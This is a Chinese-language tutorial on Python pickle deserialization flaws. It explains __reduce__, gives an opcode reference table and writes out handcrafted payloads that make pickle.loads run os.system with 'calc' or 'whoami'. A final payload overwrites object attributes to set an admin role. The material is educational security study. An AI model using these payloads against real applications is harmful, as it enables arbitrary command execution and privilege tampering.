浅析pickle反序列化

什么是pickle

pickle是实现python序列化和反序列化操作的模块之一。pickle可以看作是一种独立的栈语言,它由一串串opcode(指令集)组成。该语言的解析是依靠Pickle Virtual Machine (PVM)进行的。

pickle序列化和反序列化的分析

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
import pickle

class Myclass():
def __init__(self): #只要对象被创建就会触发这个初始化方法
self.name = 'rufeii'
self.age = 19
self.language = 'Chinese'
print('初始化触发')

a = Myclass()
print(a.name)

#序列化
a_p = pickle.dumps(a)
print(a_p)

#反序列化
a_up = pickle.loads(a_p)
print(a_up)

print(a_up.__dict__) #__dict__为对象的属性字典

结果:
初始化触发
rufeii
b'\x80\x04\x95M\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Myclass\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06rufeii\x94\x8c\x03age\x94K\x13\x8c\x08language\x94\x8c\x07Chinese\x94ub.'
<__main__.Myclass object at 0x00000226733A5D10>
{'name': 'rufeii', 'age': 19, 'language': 'Chinese'}

序列化分析:

通过dumps()方法对类的实例化对象进行序列化,序列化出来的格式是二进制字节流的。

内容包括:1,类的定义信息(Myclass这个类来自__main__模块) 2,序列化对象属性的信息

反序列化过程解析:

反序列化的内容就是一个Myclass的一个实例化对象后面带一个地址

过程:1,找到类的定义 2,重新创造一个类的实例对象(这一点和php的有所不同,php是恢复对象) 3,恢复这个对象的属性 4,返回这个对象

注意反序列的过程这里涉及到后面的原理

__reduce__魔术方法

该魔术方法期待return一个字符串或者最好是一个元组

1
2
def reduce(self):
return (callable, args_tuple)

callable:可调用对象(如exec,os. system,或一个类名)。
args_tuple:传给callable的参数(必须是一个元组)。

可以把返回值理解成PHP中call_user_func函数的运用,第一个参数就是需要传入的类或者函数对象,后面的元组是需要传入该函数的参数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import pickle

import os

class Myclass():
def __init__(self): #只要对象被创建就会触发这个初始化方法
self.name = 'rufeii'
self.age = 19
self.language = 'Chinese'
print('初始化触发')
def __reduce__(self):
print("触发成功")
return (os.system ,('calc',))

a = Myclass()

#序列化
a_p = pickle.dumps(a)
#反序列化
a_up = pickle.loads(a_p)
print(a_up)

结果:
初始化触发
成功触发
b'\x80\x04\x95\x1c\x00\x00\x00\x00\x00\x00\x00\x8c\x02nt\x94\x8c\x06system\x94\x93\x94\x8c\x04calc\x94\x85\x94R\x94.'
0

其实在序列化的时候__reduce__方法就触发了,但是反序列化才是触发命令执行的。而且你看序列化出来的二进制字节都没有了对象的属性,而是__reduce__这个方法的返回值。

1
2
3
当你定义了__reduce__这个方法的时候,pickle会优先使用它的返回值来构建一个对象的数据流,
而不是对象的__dict__。所以你看到的是reduce的值!
至于那个0是命令执行成功的返回值

pickle反序列化漏洞成因

  1. Pickle数据在反序列化时自动执行Python字节码(或对象方法)
  2. 模块本质上不会对反序列化的内容进行校验

所以正因为这两点pickle在反序列化时就会自动执行字节码,从而导致任意命令执行。

那么就又有疑问了?为什么Pickle数据在反序列化时自动执行Python字节码(或对象方法)?

这才是反序列化漏洞的底层原理

还记得上面说的反序列化的流程吗?重构对象,那么它是如何重构对象的呢?

重构对象意味着 pickle 不仅仅是简单地读取数据,它还会执行代码来“重建”一个完整的 Python 对象,包括它的类型、属性,甚至是初始化和方法调用。

先看最上面的那个demo吧!它反序列化的二进制字节流是:
b’\x80\x04\x95M\x00\x00\x00\x00\x00\x00\x00\x8c\x08__main__\x94\x8c\x07Myclass\x94\x93\x94)\x81\x94}\x94(\x8c\x04name\x94\x8c\x06rufeii\x94\x8c\x03age\x94K\x13\x8c\x08language\x94\x8c\x07Chinese\x94ub.’

那么按照流程就是先先找到类的定义去重新创造一个对象 -> 对应执行的代码是:Myclass()
然后在恢复属性 -> 执行的是:name = ‘rufeii’这种
最后在返回这个对象。

那么对于__reduce__那个demo,在恢复对象的时候执行了对象的方法,从而触发漏洞。

opcode利用

常用的opcode

指令 描述 具体写法 栈上的变化
c 获取一个全局对象或import一个模块 c[module]\n[instance]\n 获得的对象入栈
o 寻找栈中的上一个MARK,以之间的第一个数据(必须为函数)为callable,第二个到第n个数据为参数,执行该函数(或实例化一个对象) o 这个过程中涉及到的数据都出栈,函数的返回值(或生成的对象)入栈
i 相当于c和o的组合,先获取一个全局函数,然后寻找栈中的上一个MARK,并组合之间的数据为元组,以该元组为参数执行全局函数(或实例化一个对象) i[module]\n[callable]\n 这个过程中涉及到的数据都出栈,函数返回值(或生成的对象)入栈
N 实例化一个None N 获得的对象入栈
S 实例化一个字符串对象 S’xxx’\n(也可以使用双引号、'等python字符串形式) 获得的对象入栈
V 实例化一个UNICODE字符串对象 Vxxx\n 获得的对象入栈
I 实例化一个int对象 Ixxx\n 获得的对象入栈
F 实例化一个float对象 Fx.x\n 获得的对象入栈
R 选择栈上的第一个对象作为函数、第二个对象作为参数(第二个对象必须为元组),然后调用该函数 R 函数和参数出栈,函数的返回值入栈
. 程序结束,栈顶的一个元素作为pickle.loads()的返回值 .
( 向栈中压入一个MARK标记 ( MARK标记入栈
t 寻找栈中的上一个MARK,并组合之间的数据为元组 t MARK标记以及被组合的数据出栈,获得的对象入栈
) 向栈中直接压入一个空元组 ) 空元组入栈
l 寻找栈中的上一个MARK,并组合之间的数据为列表 l MARK标记以及被组合的数据出栈,获得的对象入栈
] 向栈中直接压入一个空列表 ] 空列表入栈
d 寻找栈中的上一个MARK,并组合之间的数据为字典(数据必须有偶数个,即呈key-value对) d MARK标记以及被组合的数据出栈,获得的对象入栈
} 向栈中直接压入一个空字典 } 空字典入栈
p 将栈顶对象储存至memo_n pn\n
g 将memo_n的对象压栈 gn\n 对象被压栈
0 丢弃栈顶对象 0 栈顶对象被丢弃
b 使用栈中的第一个元素(储存多个属性名: 属性值的字典)对第二个元素(对象实例)进行属性设置 b 栈上第一个元素出栈
s 将栈的第一个和第二个对象作为key-value对,添加或更新到栈的第三个对象(必须为列表或字典,列表以数字作为key)中 s 第一、二个元素出栈,第三个元素(列表或字典)添加新值或被更新
u 寻找栈中的上一个MARK,组合之间的数据(数据必须有偶数个,即呈key-value对)并全部添加或更新到该MARK之前的一个元素(必须为字典)中 u MARK标记以及被组合的数据出栈,字典被更新
a 将栈的第一个元素append到第二个元素(列表)中 a 栈顶元素出栈,第二个元素(列表)被更新
e 寻找栈中的上一个MARK,组合之间的数据并extends到该MARK之前的一个元素(必须为列表)中 e MARK标记以及被组合的数据出栈,列表被更新

命令执行

主要是这三个R\i\o

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
# R
opcode = b'''cos
system
(S'whoami'
tR.
'''

# o
opcode = b'''(cos
system
S'whoami'
o.
'''

# i
opcode = b'''(S'whoami'
ios
system
.
'''

具体要结合opcode的含义来理解

变量覆盖

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
import pickle
import pickletools

class Person:
def __init__(self, name, age):
self.name = name
self.age = age
self.role = "user"


original_person = Person("Alice", 25)
print(f"原始对象: name={original_person.name}, age={original_person.age}, role={original_person.role}")

opcode = b'''c__main__
Person
(S'Bob'
I30
tR}(S'role'
S'admin'
S'password'
S'secret123'
S'age'
I999
ub.'''


person = pickle.loads(opcode)
pickletools.dis(opcode)

print(f"覆盖后: name={person.name}, age={person.age}, role={person.role}, password={person.password}")
print(f"新增属性: password={person.password}")